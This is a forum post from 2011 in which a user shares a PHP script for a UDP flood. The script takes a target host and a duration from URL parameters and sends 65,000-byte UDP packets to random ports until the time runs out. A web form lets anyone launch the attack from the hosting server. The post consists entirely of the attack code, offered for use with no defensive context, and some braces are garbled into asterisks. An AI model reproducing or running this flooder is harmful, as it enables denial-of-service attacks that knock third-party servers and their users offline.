Php udp flood

View previous topic View next topic Go down

Php udp flood

Post by Donutz on Thu Nov 17, 2011 3:41 am

Php udp flood

Code:
 <?php

if(isset($_GET['host'])&&is_numeric($_GET['time']))**
  $pakits = 0;
  ignore_user_abort(TRUE);
  set_time_limit(0);
   
  $exec_time = $_GET['time'];
   
  $time = time();

  $max_time = $time+$exec_time;

  $host = $_GET['host'];
   
  for($i=0;$i<65000;$i++)**
        $out .= 'X';
  }
  while(1)**
  $pakits++;
        if(time() > $max_time)**
              break;
        }
        $rand = rand(1,65000);
        $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
        if($fp)**
              fwrite($fp, $out);
              fclose($fp);
        }
  }
  echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
  echo '<br><br>
      <form action="'.$surl.'" method=GET>
      <input type="hidden" name="x" value="phptools">
      Host: <input type=text name=host value=localhost>
      Length (seconds): <input type=text name=time value=9999>
      <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
        <form action=? method=GET>
        <input type="hidden" name="x" value="phptools">
        Host: <br><input type=text name=host value=localhost><br>
        Length (seconds): <br><input type=text name=time value=9999><br>
        <input type=submit value=Go></form>';
}
?>
avatar
Donutz
Donutz-Zone Admin
Donutz-Zone Admin

Posts : 555
Points : 1456
Repute : 0
Join date : 2011-10-29
Age : 27
Location : C:/Program files/Donutz/Zone

http://dzone.pixforum.net

Back to top Go down

View previous topic View next topic Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum